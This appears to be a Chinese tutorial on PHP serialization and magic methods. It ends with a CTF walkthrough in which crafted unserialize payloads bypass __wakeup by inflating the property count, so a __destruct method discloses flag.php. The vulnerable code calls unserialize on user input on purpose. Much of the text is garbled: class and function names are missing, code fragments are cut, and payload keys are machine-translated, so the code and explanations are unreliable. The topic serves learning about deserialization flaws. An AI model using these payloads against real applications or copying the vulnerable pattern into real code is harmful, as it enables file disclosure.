什么是序列化和反序列化?
(反)序列化为我们提供了一种传递对象的简单方法。 () 将对象转换为字符串,() 将字符串恢复为对象。 PHP应用中,序列化和反序列化一般用作缓存,如缓存等。
序列化
序列化是将变量转换为可以保存或传输的字符串的过程; 在php中,()方法用于序列化类。 下面是一段php序列化代码。 通过注释可以理解代码的含义。
name; } } $s = new LessSafe(); //创建一个对象 echo $s->getname().""; //调用方法 $s_serialize = serialize($s); //讲对象进行序列化 print_r($s_serialize); //打印序列化结果 ?>
序列化运行结果
反序列化结果:O:8:"":2:{s:4:"name";s:8:"";s:3:"age";i:2;}
O是对象,8是对象名称的长度,2是{}中属性的个数,{}是对象的属性,s是类型字符串,4是属性名称的长度,属性的值分隔开s是值类型是字符串类型,4位属性名的长度是属性名(属性名类型必须使用双引号)8是值的长度是值, value后面的age属性与name属性类似,只是value的数据类型是整数i值为2
反序列化
这里我将上面的序列转换结果传递给服务器进行处理并查看打印结果
:8:"":2:{s:4:"姓名";s:8:"";s:3:"年龄";i:2;}
神奇功能
在介绍反序列化之前,我们需要先了解一下这个神奇的函数,对象创建时的call(); 当对象被销毁时调用(); 当对象被视为字符串时使用; 当序列化一个对象时,反序列化时,php会调用该方法(如果存在),反序列化时,php会调用该方法(如果存在)。
以下是调用 , , 时的情况
variable.'
'; } public function __construct() //Constructor { echo '__construct
'; } public function __destruct() //Destructor { echo '__destruct
'; } public function __toString() //toString { return '__toString
'; } } $object = new TestClass(); //创建一个对象,__construct会被调用 $object->PrintVariable(); //创建一个方法 echo $object; //对象被当作一个字符串,toString会被调用 //php脚本要结束时,__destruct会被调用 ?>
调用时出现以下情况
name; } function __sleep() //定义__sleep魔法函数 { echo "When using serialize, __sleep() will be called"; } } $s = new LessSafe(); //创建一个对象 echo $s->getname().""; //调用方法 $s_serialize = serialize($s); //讲对象进行序列化 print_r($s_serialize); //打印序列化结果 ?>
调用时出现以下情况
name; } function __wakeup() { echo"When using unserialize, __wakeup() will be called"; } } $s = new LessSafe(); //创建一个对象 echo $s->getname().""; //调用方法 unserialize($_GET[id]) ?>
一道ctf测试题带你看懂反序列化漏洞ctf源码
下面是我写的一个简单的ctf测试题。 测试代码有一个类、类中的一个变量和两个魔术函数。 本题的关键突破点在于神奇的功能。 文件名也是可控的,会导致反序列化漏洞。 阅读 Take flage.php 内容。 这道题有两个难点,1.需要绕过2.需要绕过$file的属性。
class LessSafe{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
show_source($this->file);
}
}
function __wakeup(){
$this->file='index.php';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}
else{
unserialize($_GET['file']);
}
//flag in flag.php
?>
正常思维
:8:"":1:{s:4:"文件";s:8:"flag.php";}
构造完上面之后,发现flag.php文件没有被读取,因为类中有一个magic函数,使用的时候会执行magic函数,而$file='index.php'
旁路
只有在构造序列化时,才能绕过序列对象的属性个数
:8:"":2:{s:4:"文件";s:8:"flag.php";}
将属性个数改为2,测试
什么??小子,你有很多问号吗?
然后仔细阅读源码。 当你在源码中找到$file的属性时,经过学习,发现还有绕过的方法。
旁路
学到最后
:8:"":2:{S:7:"\00*\";s:8:"flag.php";}
\00是0的二进制,S是将序列换成二进制的表示方法(大概就是这个意思)
终于拿到flag了
实验代码
实验代码地址
记得点亮星星